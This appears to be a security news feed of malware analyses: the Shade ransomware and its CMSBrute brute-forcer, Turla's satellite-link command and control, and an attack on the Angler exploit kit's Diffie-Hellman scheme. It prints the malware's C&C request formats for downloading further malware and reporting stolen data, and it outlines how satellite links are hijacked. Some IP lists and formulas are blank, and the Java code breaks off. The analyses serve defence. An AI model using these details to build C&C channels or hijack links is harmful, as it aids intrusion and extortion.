When you delete a file, that file is actually still on your computer. The only way you can truly and securely remove a file is by wiping it or using some type of secure deletion.

The Shade Encryptor: a Double Threat

Malware Alerts - Mon, 09/14/2015 - 08:54

A family of ransomware Trojans that encrypts files and adds the extensions “.xtbl” and “.ytbl” emerged in late 2014/early 2015, and quickly established itself among the top three most widespread encryptors in Russia (along with Trojan-Ransom.Win32.Cryakl and Trojan-Ransom.BAT.Scatter). This threat has been assigned the verdict Trojan-Ransom.Win32.Shade according to Kaspersky Lab’s classification. The original name given to the encryptor by its creator is not known; other security vendors detect it as Trojan.Encoder.858, Ransom:Win32/Troldesh.

There has been no appreciable evolution of this Trojan over time – only the format of the encrypted file’s name, the C&C server addresses and the RSA keys have been changing.

There are two main methods used to deliver the malware to victims’ computers: spam messages and exploit kits (in particular, NuclearEK).

When delivered via spam, the user receives a letter with a malicious file attached. The system is infected when the user attempts to open the attachment. The following file names have been used when spreading Trojan-Ransom.Win32.Shade:

  • doc_dlea
  • doc_dlea podpisi.rar
  • documenti_589965465_documenti.rar
  • documenti_589965465_doc.scr
  • doc_dlea podpisi.rar
  • неподтвержден 308853.scr
  • documenti dlea podpisi 05.08.2015.scr.exe
  • akt sverki za 17082015.scr

It should be noted that the file name changes for each mass mailing campaign, so the potential file names are not limited to those listed above.

The second delivery mechanism – via exploit kit – is more dangerous because the infection occurs when the victim unwittingly visits a compromised website. It may be a site belonging to cybercriminals, or a legitimate resource that has been hacked. In most cases, the user is completely unaware of the danger the website poses. Malicious code on the website exploits a vulnerability in the browser or a plugin, and the Trojan is then covertly installed in the system. Unlike the spam delivery method, the victim doesn’t even have to run an executable file.

After Trojan-Ransom.Win32.Shade ends up in the system, it connects to a C&C server located in the Tor network, reports the infection and requests a public RSA-3072 key that is subsequently used to encrypt files (as discussed below). Should the connection attempt fail, the Trojan chooses one of the 100 public keys that are stored within its body for just such an eventuality.

The Trojan then starts encrypting files. While scanning for objects to encrypt, it uses the static list of extensions shown in the screenshot below.

When encryption is complete, a menacing image is set as the desktop background:

The Trojan leaves ransom demands in the files README1.txt, …, README10.txt. The contents of these files are always the same:

However, unlike most other encryptors, Trojan-Ransom.Win32.Shade doesn’t stop there. It doesn’t terminate its process, but instead starts an infinite loop in which it requests a list from the C&C server containing the URLs of additional malware. It then downloads that malware and installs it in the system. This sort of activity is typical of download bots. We have spotted malware from the following families being downloaded:

  • Trojan.Win32.CMSBrute (a more detailed description is provided below).
  • Trojan.Win32.Muref
  • Trojan.Win32.Kovter
  • Trojan-Downloader.Win32.Zemot

Below is the code for the download and listening loop:

It is therefore very important to run a complete anti-malware scan of the computer if the Shade encryptor (or the .xtbl, .ytbl files it creates) is detected. If left untreated, the system will most probably remain infected with several malicious programs downloaded by the encryptor.

Common features of Shade family Trojans
  • Written in C++ using STL and its own classes.
  • Statically linked with Tor client.
  • Uses boost (threads), curl, OpenSSL libraries.
  • Each sample has the URL of a C&C server hardcoded in it. A total of 10 C&C server addresses were identified in various samples, eight of which are currently active. All the C&C servers are located in the Tor network.
  • All strings (including the names of imported functions) are AES encrypted. They are decrypted when the program starts, then the import table is dynamically populated.
  • Prior to setting the new desktop background, the old one is saved in the registry.
  • Typically packed with UPX and an extra packer. Once unpacked, it is 1817 KB in size.
  • Creates 10 identical files named README1.txt, …README10.txt on the victim computer, containing ransom demands in Russian and English.
  • A unique 256-bit AES key is generated to encrypt the contents and the name of each file. The encryption is done in CBC mode with a zero initialization vector.
  • Contains 100 public RSA-3072 keys with the public exponent 65537 (A total of 300 different public keys were detected in various samples).
  • Has the capability of downloading and launching malware.
The cryptographic scheme Generating an infected computer ID
  1. The Trojan obtains the computer name (comp_name) with the help of API function GetComputerName, and the number of processes (num_cpu) with the help of API function GetSystemInfo;
  2. Using the serial number of the system volume, it calculates a 32-bit constant and converts it into a HEX string (vol_const);
  3. Obtains data about the OS version (os_version) divided with the symbol “;” (e.g. “5;1;2600;1;Service Pack 3″);
  4. Creates the string comp_namenum_cpuvol_constos_version;
  5. Calculates the MD5 hash of this string;
  6. Converts the MD5 hash into a HEX string and uses its first 20 characters as the computer’s ID.
Receiving key data

When the computer ID has been generated, the Trojan attempts to connect to the C&C server located in the Tor network, sends the computer ID to it and receives the public RSA key in return. If the connection attempt fails, one of the 100 public RSA keys hardcoded in the Trojan body is selected.

Encrypting files

The algorithm AES 256 in CBC mode is used to encrypt files. For each encrypted file, two random 256-bit AES keys are generated: one is used to encrypt the file’s contents, while the other is used to encrypt the file name. These keys are placed in the utility structure key_data, which is then encrypted with the selected RSA key (so it takes up 384 bytes after encryption) and placed at the end of the encrypted file:

In C syntax, this stricture can be written as follows:

The Trojan attempts to rename the encrypted file using the result of the calculation Base64(AES_encrypt(original file name)).xtbl (e.g. ArSxrr+acw970LFQw.xtbl). Failing this, it simply adds the extension .ytbl to the original file name. In later versions, the Trojan adds the infected computer’s ID and then the extension .xtbl to the file name, e.g. ArSxrr+acw970LFQw.043C17E72A1E91C6AE29.xtbl.

Communication with a C&C server

The address of one C&C server is contained in the Trojan’s body. The servers are located in the Tor network and communication is established using a Tor client that is statically linked to the Trojan.

The sample sends the following requests to the C&C server:

  1. Request for a new public RSA key:
    GET http://<server>.onion/reg.php?i=ID&b=build&v=version&ss=stage
    ID – the ID of the infected computer;
    build – the ID of the specific Trojan sample;
    version – the Trojan’s version (we encountered versions 1 and 2);
    stage – the stage of encryption – request for a new public key or a message about completing file encryption.
  2. Error message:
    GET http://<server>.onion/err.php?i=ID&b=build&v=version&err=error
    error – a base64-coded message about an error during encryption.
  3. Report about the encryptor’s current stage:
    GET http://<server>.onion/prog.php?i=ID&b=build&v=version&ss=stage&c=count&f=finish
    count – the current count of encrypted files;
    finish – the flag showing that encryption has completed.
  4. Information about the system:
    key_number – the number of the selected RSA key (if the key was not received from the server, but selected from the keys contained in the Trojan’s body);
    info – information collected from the infected computer:
    • Computer name
    • User name
    • IP address
    • Computer domain
    • List of logical drives
    • Windows version
    • List of installed software
  5. Request for a list of URL addresses from which additional malware needs to be downloaded and launched:
    GET http://<server>.onion/cmd.php?i=ID&b=build&v=version
Propagation of the encryptor Partnership program

The code that the user is prompted to email to the cybercriminals can have the form ID|0 if the public code was received from the C&C server, or ID|key_number|build|version if one of the public RSA keys hardcoded in the Trojan’s body was selected, with the corresponding number used for the value key_number. ID is the identity of the infected computer, build and version are numeric values that denote respectively the ID of the specific Trojan sample and the encryptor’s version.

While analyzing the Trojan’s samples, we detected several combinations of the ‘build’ value, email addresses used to communicate with the cybercriminals, and C&C addresses. Different ‘build’ values are associated with different email addresses, although the same C&C can serve several different samples of the Trojan:

build C&C email 2 a4yhexpmth2ldj3v.onion 2 a4yhexpmth2ldj3v.onion 4 a4yhexpmth2ldj3v.onion 6 a4yhexpmth2ldj3v.onion 2 e4aibjtrguqlyaow.onion 15 e4aibjtrguqlyaow.onion 12 gxyvmhc55s4fss2q.onion 14 gxyvmhc55s4fss2q.onion 4 gxyvmhc55s4fss2q.onion

We observed the propagation of different samples from the encryptor’s two versions. For each specific sample of the same version of the Trojan there existed a unique combination of ‘build’ (ID of the specific sample) and the email address (for communication with the cybercriminals).

Although we found no partnership notices, based on the data we can assume the Trojan is distributed, and the ransom collected, via a partnership network. Possibly, the malware sample IDs (the ‘build‘ value) and the different email addresses are associated with various partners responsible for distributing this malicious program.


Most of the Trojan infections occur in Russia, Ukraine and Germany. According to KSN data, the distribution of Trojan-Ransom.Win32.Shade is as follows.

Russia 70,88% Germany 8.42% Ukraine 6.48% Austria 3.91% Switzerland 2.98% Poland 1.45% Kazakhstan 1.20% Belarus 1.07% Brazil 0.55% Downloaded malware: Trojan for brute forcing website passwords

Among the malicious programs downloaded by Trojan-Ransom.Win32.Shade is a trojan used for brute forcing website passwords. The internal organization of the brute forcer is very similar to that of the encryptor Trojan itself – it was most probably created by the same team of cybercriminals. This downloaded brute forcer Trojan has been assigned the verdict Trojan.Win32.CMSBrute.

Common features of the CMSBrute family
  • Written in C++ using STL and its own classes.
  • Statically linked with the Tor client.
  • Uses boost (threads), curl, OpenSSL libraries.
  • Each sample has a hardwired URL to one C&C server. A total of three C&C server addresses were detected in different samples. All the C&Cs are located in the Tor network and are different from the addresses encountered in the Trojan-Ransom.Win32.Shade samples.
  • All strings (along with the names of imported functions) are AES encrypted. When the program launches, they are decrypted and the import table is then dynamically populated.
  • Typically UPX packed. Once unpacked, it is 2080-2083 KB in size.
  • Copies itself to one of the C drive folders with the name csrss.exe.
  • Downloads additional DLL plugins. The plugins contain code that determines the content management system (CMS) installed on the targeted site, searches for the administration console and cracks passwords. We have detected plugins for websites based on Joomla, WordPress and DataLifeEngine.
Communication with the C&C server

Each sample of Trojan.Win32.CMSBrute contains the address of one C&C server. The servers are located in the Tor network and communication with them is established using the Tor client that is statically linked to the Trojan.

The sample sends the following requests to the C&C server:

  1. Register new bot:
    GET http://<server>.onion/reg.php?n=ID&b=build&v=version&sf=stage
    ID – the ID of the infected computer. It is calculated using a slightly different algorithm than the one used for the Shade encryptor;
    build – the ID of the specific sample of the malicious program. We have encountered build1 only;
    version – the version of the malicious program. We have encountered version 1 only;
    stage – the stage of the Trojan’s operation.
  2. A request to receive URL addresses for downloading/updating DLL plugins.
    GET http://<server>.onion/upd.php?n=ID&b=build&v=version&p=plugins
  3. Request for a task to determine the CMS on the website and to check the login credentials:
    GET http://<server>.onion/task.php?n=ID&b=build&v=version&p=plugins
    plugins – the versions of installed DLL plugins.
    The server’s response comes in the JSON format and contains URLs of the websites to be attacked and a dictionary for breaking passwords.
  4. Send a brute force report:
    POST http://<server>.onion/rep.php?n=ID&b=build&v=version&rep=report
    report – a JSON string containing a report about the CMS found on the website, as well as broken login credentials to the administration console.

In the case of Trojan-Ransom.Win32.Shade, all advice that was previously given on how to counteract encryptors is still relevant. Detailed instructions are available at:

If your computer has already suffered an attack by this Trojan, it is extremely important that you run a full scan and treat it with an anti-malware solution. Remember that Trojan-Ransom.Win32.Shade downloads and installs malware belonging to several various families, as stated at the beginning of this article.


The following samples were used while writing this article:

Verdict MD5 Trojan-Ransom.Win32.Shade.ub 21723762c841b2377e06472dd9691da2 Trojan-Ransom.Win32.Shade.ui bb159b6fe30e3c914feac5d4e1b85a61 Trojan.Win32.CMSBrute.a 543d1620ce976cb13fec190ccc1bc83a

Two-Step Verification

SANS Tip of the Day - Wed, 09/09/2015 - 16:48
Two-step verification is one of the best steps you can take to secure any account. Two-step verification is when you require both a password and code sent to or generated by your mobile device. Examples of services that support two-step verification include Gmail, Dropbox and Twitter.

Satellite Turla: APT Command and Control in the Sky

Malware Alerts - Wed, 09/09/2015 - 05:58

Have you ever watched satellite television? Were you amazed by the diversity of TV channels and radio stations available? Have you ever looked in wonder at satellite phones or satellite-based Internet connections wondering what makes them tick? What if we told you that there’s more to satellite-based Internet connections than entertainment, traffic and weather? Much, much more.

When you are an APT group, you need to deal with many different problems. One of them, and perhaps the biggest, is the constant seizure and takedown of domains and servers used for command-and-control (C&C). These servers are constantly appropriated by law enforcement or shut down by ISPs. Sometimes they can be used to trace the attackers back to their physical locations.

Some of the most advanced threat actors or users of commercial hacking tools have found a solution to the takedown problem — the use of satellite-based Internet links. In the past, we’ve seen three different actors using such links to mask their operations. The most interesting and unusual of them is the Turla group.

Also known as Snake or Uroburos, names which come from its top class rootkit, the Turla cyber-espionage group has been active for more than 8 years. Several papers have been published about the group’s operations, but until the Epic Turla research was published by Kaspersky Lab, little information was available about the more unusual aspects of their operations, such as the first stages of infection through watering-hole attacks.

What makes the Turla group special is not just the complexity of its tools, which include the Uroboros rootkit, aka “Snake”, as well as mechanisms designed to bypass air gaps through multi-stage proxy networks inside LANs, but the exquisite satellite-based C&C mechanism used in the latter stages of the attack.

In this blog, we hope to shed more light on the satellite-based C&C mechanisms that APT groups, including the Turla/Snake group, use to control their most important victims. As the use of these mechanisms becomes more popular, it’s important for system administrators to deploy the correct defense strategies to mitigate such attacks. For IOCs, see the appendix.

Technical details

Although relatively rare, since 2007 several elite APT groups have been using — and abusing — satellite links to manage their operations — most often, their C&C infrastructure. Turla is one of them. Using this approach offers some advantages, such as making it hard to identify the operators behind the attack, but it also poses some risks to the attackers.

On the one hand, it’s valuable because the true location and hardware of the C&C server cannot be easily determined or physically seized. Satellite-based Internet receivers can be located anywhere within the area covered by a satellite, and this is generally quite large. The method used by the Turla group to hijack the downstream links is highly anonymous and does not require a valid satellite Internet subscription.

On the other hand, the disadvantage comes from the fact that satellite-based Internet is slow and can be unstable.

In the beginning, it was unclear to us and other researchers whether some of the links observed were commercial Internet connections via satellite, purchased by the attackers, or if the attackers had breached the ISPs and performed Man-in-the-Middle (MitM) attacks at the router level to hijack the stream. We have analyzed these mechanisms and come to the astonishing conclusion that the method used by the Turla group is incredibly simple and straightforward, as well as highly anonymous and very cheap to operate and manage.

Real satellite links, MitM attacks or BGP hijacking?

Purchasing satellite-based Internet links is one of the options APT groups can choose to secure their C&C traffic. However, full duplex satellite links can be very expensive: a simple duplex 1Mbit up/down satellite link may cost up to $7000 per week. For longer term contracts this cost may decrease considerably, but the bandwidth still remains very expensive.

Another way of getting a C&C server into a satellite’s IP range is to hijack the network traffic between the victim and the satellite operator and to inject packets along the way. This requires either exploitation of the satellite provider itself, or of another ISP on the way.

These kinds of hijacking attacks have been observed in the past and were documented by Renesys (now part of Dyn) in a blogpost dated November 2013.

According to Renesys: “Various providers’ BGP routes were hijacked, and as a result a portion of their Internet traffic was misdirected to flow through Belarusian and Icelandic ISPs. We have BGP routing data that show the second-by-second evolution of 21 Belarusian events in February and May 2013, and 17 Icelandic events in July- August 2013.”

In a more recent blogpost from 2015, Dyn researchers point out that: “For security analysts reviewing alert logs, it is important to appreciate that the IP addresses identified as the source of incidents can and are regularly spoofed. For example, an attack that appeared to come from a Comcast IP located in New Jersey may really have been from a hijacker located in Eastern Europe, briefly commandeering Comcast IP space. It is interesting to note that all six cases discussed above were conducted from either Europe or Russia.”

Obviously, such incredibly apparent and large-scale attacks have little chance of surviving for long periods of time, which is one of the key requirements for running an APT operation. It is therefore not very feasible to perform the attack through MitM traffic hijacking, unless the attackers have direct control over some high-traffic network points, such as backbone routers or fiber optics. There are signs that such attacks are becoming more common, but there is a much simpler way to hijack satellite-based Internet traffic.

Satellite link (DVB-S) hijacking

The hijacking of satellite DVB-S links has been described a few times in the past and a presentation on hijacking satellite DVB links was delivered at BlackHat 2010 by the S21Sec researcher Leonardo Nve Egea.

To hijack satellite DVB-S links, one needs the following:

  • A satellite dish – the size depends on geographical position and satellite
  • A low-noise block downconverter (LNB)
  • A dedicated DVB-S tuner (PCIe card)
  • A PC, preferably running Linux

While the dish and the LNB are more-or-less standard, the card is perhaps the most important component. Currently, the best DVB-S cards are made by a company called TBS Technologies. The TBS-6922SE is perhaps the best entry-level card for the task.

TBS-6922SE PCIe card for receiving DVB-S channels

The TBS card is particularly well-suited to this task because it has dedicated Linux kernel drivers and supports a function known as a brute-force scan which allows wide-frequency ranges to be tested for interesting signals. Of course, other PCI or PCIe cards might work as well, while, in general the USB-based cards are relatively poor and should be avoided.

Unlike full duplex satellite-based Internet, the downstream-only Internet links are used to accelerate Internet downloads and are very cheap and easy to deploy. They are also inherently insecure and use no encryption to obfuscate the traffic. This creates the possibility for abuse.

Companies that provide downstream-only Internet access use teleport points to beam the traffic up to the satellite. The satellite broadcasts the traffic to larger areas on the ground, in the Ku band (12-18Ghz) by routing certain IP classes through the teleport points.

How does satellite internet hijacking work?

To attack satellite-based Internet connections, both the legitimate users of these links as well as the attackers’ own satellite dishes point to the specific satellite that is broadcasting the traffic. The attackers abuse the fact that the packets are unencrypted. Once an IP address that is routed through the satellite’s downstream link is identified, the attackers start listening for packets coming from the Internet to this specific IP. When such a packet is identified, for instance a TCP/IP SYN packet, they identify the source and spoof a reply packet (e.g. SYN ACK) back to the source using a conventional Internet line.

At the same time, the legitimate user of the link just ignores the packet as it goes to an otherwise unopened port, for instance, port 80 or 10080. There is an important observation to make here: normally, if a packet hits a closed port, a RST or FIN packet will be sent back to the source to indicate that there is nothing expecting the packet. However, for slow links, firewalls are recommended and used to simply DROP packets to closed ports. This creates an opportunity for abuse.

Abused Internet ranges

During the analysis, we observed the Turla attackers abusing several satellite DVB-S Internet providers, most of them offering downstream-only connections in the Middle East and Africa. Interestingly, the coverage of these beams does not include Europe or Asia, meaning that a dish is required in either the Middle East or Africa. Alternatively, a much larger dish (3m+) can be used in other areas to boost the signal.

To calculate the dish size, one can use various tools, including online resources such as

Sample dish calculation – (c)

The table below shows some of the command-and-control servers related to the Turla actor with domains resolving to an IP belonging to satellite-based Internet providers:

IP First seen Hosts Nov, 2007 n/a, see note below Feb 25th, 2014 Feb 27th, 2014 March 18th, 2014 March 18th, 2014 January 25th, 2014 March 19th, 2014 April 26th, 2013 May 28th, 2014 March 11th, 2014 June 24th, 2014 April 4th, 2014 March 17th, 2015 May 2nd, 2012 January 3rd, 2013 July 3, 2014 September 1st, 2014 August 05, 2015

Note: is hardcoded in the configuration block of the malicious sample.

The observed satellite IPs have the following ‘WHOIS’ information:

IP Country ISP Nigeria Skylinks Satellite Communications Limited UAE Teleskies, Telesat Network Services Inc Lebanon Lunasat Isp Denmark Emperion Lebanon Intrasky Offshore S.a.l. Germany IABG mbH Somalia Sky Power International Ltd Nigeria Sky Power International Ltd United Kingdom SkyVision Global Networks Ltd Niger SkyVision Global Networks Ltd Congo Orioncom

One interesting case is probably, which falls into the satellite IP range of IABG mbH.

This IP is encrypted in the C&C of the following backdoor used by Turla group, known as “Agent.DNE“:

md5 0328dedfce54e185ad395ac44aa4223c size 91136 bytes type Windows PE

Agent.DNE C&C configuration

This Agent.DNE sample has a compilation timestamp of Thu Nov 22 14:34:15 2007, meaning that the Turla group has been using satellite-based Internet links for almost eight years.


The regular usage of satellite-based Internet links by the Turla group represents an interesting aspect of their operation. The links are generally up for several months, but never for too long. It is unknown if this is due to operational security limitations self-imposed by the group or because of shutdown by other parties due to malicious behavior.

The technical method used to implement these Internet circuits relies on hijacking downstream bandwidth from various ISPs and packet-spoofing. This is a method that is technically easy to implement, and provides a much higher degree of anonymity than possibly any other conventional method such as renting a VPS or hacking a legitimate server.

To implement this attack methodology, the initial investment is less than $1000. Regular maintenance should be less than $1000 per year. Considering how easy and cheap this method is, it is surprising that we have not seen more APT groups using it. Even though this method provides an unmatched level of anonymfor logistical reasons it is more straightforward to rely on bullet-proof hosting, multiple proxy levels or hacked websites. In truth, the Turla group has been known to use all of these techniques, making it a very versatile, dynamic and flexible cyber-espionage operation.

Lastly, it should be noted that Turla is not the only APT group that has used satellite-based Internet links. HackingTeam C&Cs were seen on satellite IPs before, as well as C&Cs from the Xumuxu group and, more recently the Rocket Kitten APT group.

If this method becomes widespread between APT groups or worse, cyber-criminal groups, this will pose a serious problem for the IT security and counter-intelligence communities.

* A full paper on the Turla group’s use of satellite-based Internet links is available to the customers of Kaspersky Intelligence Services.

Indicators of compromise: IPs:





Kaspersky Lab products detect the above Turla samples with the following verdicts:

  1. Agent.btz: a Source of Inspiration?
  2. The Epic Turla operation
  3. The ‘Penquin’ Turla

Attacking Diffie-Hellman protocol implementation in the Angler Exploit Kit

Malware Alerts - Tue, 09/08/2015 - 07:21

Exploit kit creators have been inventing increasingly interesting methods of masking their exploits, shellcodes, and payloads so that it is harder for analysts to define the type of the exploit and know what actions they may perform.

Several days ago analysts found the usage of the Diffie-Hellman cryptographic protocol in the Angler Exploit Kit, which is one of the most popular exploit kits at the moment. This protocol was developed more than 40 years ago, but that is the first known case of its usage in an exploit kit.

In Angler, threat actors used the Diffie-Hellman protocol to get a structure with the shellcode of one of the recent exploits for the CVE-2015-2419 vulnerability for the Internet Explorer 11 browser and then for the CVE-2015-5560 vulnerability exploit for Adobe Flash. Most likely, the goal of the threat actors was creating difficulties in firewall detection of the exploit (as firewalls cannot decipher a shellcode and exploit by the means of the intercepted traffic analysis) and also making it harder for the analysts to get the exploit code. However, the experts from Kaspersky Lab managed to perform a successful attack against Diffie-Hellman protocol implementation and decipher the shellcode.

Angler vs. Analysts

To make matters worse for analysts, JavaScript code and ActionScript code multiple obfuscation and a user IP ban upon sending the encrypted structure with a shellcode to the user were used in addition to the Diffie-Hellman protocol. After getting the structure with the shellcode by that means (encrypted with a one-time key by using the Diffie-Hellman protocol), the exploit kit sample becomes unusable after one processing: the analyst is unable to understand what a specific file does, reproduce the attack, and, quite often, identify the exploit and vulnerability at all.

A key exchange and getting a shellcode for the CVE-2015-2419 exploit

There is a key exchange request in the picture above. As a response, a browser gets from the threat actors’ server an encrypted array that contains a shellcode to exploit the vulnerability. The same traffic request has been used to download the Flash vulnerability exploit.

As the secret for key generation is new each time, an analyst is unable to send it to the browser once more, reproduce the attack, and identify the vulnerability, even if he has the recorded traffic.

Diffie-Hellman Protocol Implementation Features

The used implementation of the Diffie-Hellman protocol includes the following:

  1. The server generates a random number g (16 bytes) and sends the HTML page with the number g and JavaScript implementation of the Diffie-Hellman algorithm to the user’s browser.

  2. JavaScript generates a random modulo p (16 bytes) and a random private key Ka (16 bytes) in the user’s browser, and then JavaScript calculates the public key A = gKa mod p and sends the three numbers (g, A, p) to the server as a JSON object along with the Internet browser version.


  3. The server generates its own random private key Kb and its random encryption key Kx (16 bytes) and finds the Diffie-Hellman shared secret Kdh = AKb mod p. After that, the server encrypts the shellcode by using the XTEA algorithm and the key Kx, then base64_encode and urlencode, getting the string b as a result. Then, the key Kx is also encrypted by XTEA with the key Kdh, base64_encode, and urlencode, getting the string k as a result. And finally, the server calculates its public key B = gKb mod p and sends Base64-encrypted JSON object that contains B, k, and b to the browser:


    After Base64 encryption removal:


  4. A user’s browser calculates the Diffie-Hellman shared secret Kdh = BKa mod p, decrypts k urldecode, base64_decode, and XTEA by using the key Kdh, getting the key Kx, and eventually decrypts the urldecode, base64_decode, and XTEA shellcode by using the key Kx.

It is safe to assume that the aim of using the given sophisticated cryptographic system is shellcode interception prevention by listening to the Internet traffic between the server with the exploit kit and the user’s browser. We managed to perform a successful attack against the implementation of the encryption protocol and decrypt the shellcode. We used the modified Pohlig-Hellman algorithm for the attack (a deterministic algorithm of discrete logarithm-finding in the residue ring modulo a prime number).

According to the original algorithm, for the case when the Euler function expansion of the modulo p into prime factors qi is known (coprime factors Qi)

the complexity of finding the private key Ka and the Diffie-Hellman shared secret Kdh by using intercepted public keys A and B is

We used an optimized algorithm of finding the discrete logarithm in the residue ring modulo a prime number, taking into account the infinitesimality of logp with respect to qi, and low probability of occurrence of large prime factors raised to the power of greater than one in the Euler function φ(p); i.e., αi will equal one for large qi with a high probability. Owing to that, the complexity of the modified algorithm is

which allows us to perform a successful attack in case if all qi < 1018. The experiment has shown that the given condition is observed in more than a half of cases of using the aforementioned Diffie-Hellman protocol implementation (the case of randomly generated g, p, Ka, and Kb without their extra security checks).

Description of the Modified Pohlig-Hellman Algorithm
  1. Let us find the expansion of the number p into prime factors (the factorization can be easily done with Cryptool):

    p = 0x1b0b5c6e6b0b5b7e6c6d0b1b0a8c3c7e = 35948145881546650497425055363061529726 = 2 * 101 * 521 * 195197 * 7138079603 * 245150552958961933

  2. Let us find the Euler function for the number p:

    φ(p) = (2-1) * (101-1) * (521-1) * (195197-1) * (7138079603-1) * (245150552958961933-1) = 17761863220777184249809368812124288000

  3. Let us find the expansion of the Euler function into prime factors:

    φ(p) = 2^10 * 3^2 * 5^3 * 13 * 19 * 79 * 167 * 383 * 48799 * 45177719 * 5603527793

  4. In order to find the browser’s private key Ka, it is necessary to find a discrete logarithm:

    A = gKa mod p
    A = 0x5eff90f1c48342f5d519cd02b5dfd8b = 7892150445281019518426774740123123083
    g = 0x40a262b1360a6a16612ca8251161a9a5 = 14017453774474660607531272629759062185 (mod p)

    As immediately finding Ka modulo φ(p) is quite time-consuming, let us find Ka by turns for each of the coprime factors Qi of the Euler function φ(p)

    [1024, 9, 125, 13, 19, 79, 167, 383, 48799, 45177719, 5603527793],

    and, by using the obtained results and the Chinese remainder theorem, let us immediately find Ka modulo φ(p).

  5. In order to find Ka modulo Qi, it is necessary to find a discrete logarithm

    To do that, we shall

    5.1. take the number H=⌊√(Qi)⌋+1;
    5.2. calculate Dc=DaH mod p;
    5.3. make a sorted table of values Dcu mod p for 1 ≤ uH;
    5.4. find such a value of 0 ≤ v ≤H, that the element Db ∙ Dav mod p is in the table;
    5.5. The value of Ka modulo Qi equals Hu-v.

    The implementation of the described algorithm in Java is given in the Appendix A. As in the reviewed example the maximum value of Qi is only several billions, the program execution time did not exceed several seconds.

    For some of the Qi factors of the Euler function φ(p), there are several possible Ka values (there are possible Ka modulo Qi values in the row number i):

    [834, 898, 962, 2, 842, 906, 970, 10, 850, 914, 978, 18, 858, 922, 986, 26, 866, 930, 994, 34, 874, 938, 1002, 42, 882, 946, 1010, 50, 890, 954, 1018, 58, 826] [4] [18, 68, 118, 43, 93] [9] [12] [42] [6] [21] [11929] [24277014] [2536644002]

  6. By going over all of the possible combinations of obtained Ka values by using the Chinese remainder theorem, we find several tens of possible Ka modulo φ(p) values:



  7. All of the obtained values of the private key Ka lead to the same value of the Diffie-Hellman shared secret Kdh = BKa mod p:


  8. By knowing Kdh, it is possible to decrypt the encryption key Kx from k and the shellcode by using Kx. The PHP script for decrypting the intercepted shellcode by using the known Diffie-Hellman shared secret is given in the Appendix B. The decrypted shellcode is given in the Appendix C.

Testing of the Diffie-Hellman Protocol Implementation Attack in the Angler Exploit Kit

To test the effectiveness and functionality of the attack, several tests were conducted.

  1. A test with a traffic dump from with the exploit for CVE-2015-2419.


    {"B":"481dbc66fe90ded2eb8d027395abe4fd", …

    p = 146455792068641286704746413745292278846 = 2 * 2269 * 1057223 * 1292823547 * 23612186462182360807

    φ(p) = 73195553541542938096767116236244889696 = 2^5 * 3^6 * 7^3 * 17 * 617 * 7127 * 528611 * 231492024139042753

    Owing to a significantly large factor φ(p) (about 1018), finding the Diffie-Hellman shared secret took several hours:


    The decrypted shellcode is given in the Appendix D.

  2. A test with a traffic dump from with the exploit for CVE-2015-2419 and CVE-2015-5560.

    The new version of the Angler Exploit Kit has minor changes in the server-to-script communication protocol:



    As compared with the previous version, indices “g”, “A”, “p”, “B”, “b”, and “k” were replaced by the parts of the number g, and the order of the numbers sent to the server was changed (now, it is g, p, A not g, A, p as it was before). Besides that, the XTEA algorithm had two constant values and used when decrypting the shellcode bit operation modified:

    Before (the original XTEA implementation) After for(var h=g[0],k=g[1],l=84941944608;0!=l;)
    h-=(k<>>5)+k^l+d[l&3]; for(var h=g[0],k=g[1],l=433284421593;0!=l;)

    For the given traffic, we managed to factorize the Euler function φ(p)

    p = 123758666691284322087508686576379854395 = 5 * 11 * 47 * 73 * 83 * 173 * 1055371 * 43277569507162384847671

    φ(p) = 85339058418474058501009217357034700800 = 2^14 * 3^6 * 5^2 * 23 * 41 * 43 * 127 * 277 * 1949 * 102798053917762603

    find the Diffie-Hellman shared secret


    and decrypt the shellcode for CVE-2015-2419 (given in the Appendix E).

    In addition to that, threat actors started to use the Diffie-Hellman key exchange pattern also for Flash exploits in the new version of the Angler Exploit Kit (i.e., the creators of the exploit kit programmed the same algorithms in PHP, JavaScript, and ActionScript). The protocol exploit and shellcode download format for the Flash vulnerability is the same as the one for the shellcode vulnerability for Internet Explorer:



    Modulo p and the Euler function φ(p) factors:

    p = 81152602799751951422044316006212054554 = 2 * 3 * 36329424479 * 10983441260369 * 33896452871009

    φ(p) = 27050867599169456821145398677392574464 = 2^11 * 7 * 13 * 199 * 91279961 * 11640265409 * 686465078773

    the Diffie-Hellman shared secret:


    The decrypted exploit and shellcode for CVE-2015-5560 is given in the Appendix F.

    Appendix A. The Diffie-Hellman Protocol Attack Implementation in Java import java.math.BigInteger; import java.util.HashSet; import java.util.Iterator; import java.util.Set; import java.util.TreeMap; import java.util.Vector; public class Test1 { static BigInteger p = new BigInteger("1b0b5c6e6b0b5b7e6c6d0b1b0a8c3c7e", 16); static BigInteger psi = new BigInteger("17761863220777184249809368812124288000"); static BigInteger g = new BigInteger("40a262b1360a6a16612ca8251161a9a5", 16).mod(p); static BigInteger A = new BigInteger("5eff90f1c48342f5d519cd02b5dfd8b", 16); static BigInteger B = new BigInteger("02aa6526e6edc0042394b7ea81ec5b75", 16); static long[] q = new long[]{1024L, 9L, 125L, 13L, 19L, 79L, 167L, 383L, 48799L, 45177719L, 5603527793L}; static int q_len = q.length; static HashSet[] xi = new HashSet[q_len]; static BigInteger ai[] = new BigInteger[q_len]; static HashSet res = new HashSet(); static void rec(int ind) { if (ind == q_len) { BigInteger x = BigInteger.ZERO; for(int i=0;i<q_len;i++) { BigInteger mn = new BigInteger(((Long)q[i]).toString()); BigInteger M = psi.divide(mn); x = x.add(ai[i].multiply(M).multiply(M.modInverse(mn))); } res.add(B.modPow(x.mod(psi), p)); //res.add(x.mod(psi)); return; } Iterator<Long> it = xi[ind].iterator(); while(it.hasNext()){ ai[ind] = new BigInteger(; rec(ind + 1); } } public static void main(String[] args) { for(int i=0;i<q_len;i++) { xi[i] = new HashSet<Long>(); long qi = q[i]; int H = (int)Math.sqrt((double)qi) + 1; BigInteger _a = g.modPow(psi.divide(new BigInteger(((Long)qi).toString())), p); BigInteger _b = A.modPow(psi.divide(new BigInteger(((Long)qi).toString())), p); BigInteger _c = _a.modPow(new BigInteger(((Integer)H).toString()), p); BigInteger _cp = _c; int u_size = 1000000; boolean stop = false; for(int u_part = 1;u_part<=H && !stop;u_part+=u_size) { if (H > u_size) { System.out.print("[i] Processing "); System.out.println(u_part); } TreeMap<BigInteger, Integer> table = new TreeMap<>(); for(int u=u_part;u<=H && u<u_part + u_size;u++) { table.put(_cp, u); _cp = _cp.multiply(_c).mod(p); } BigInteger z = _b; for(int v=0;v<=H;v++) { if (table.get(z) != null) { 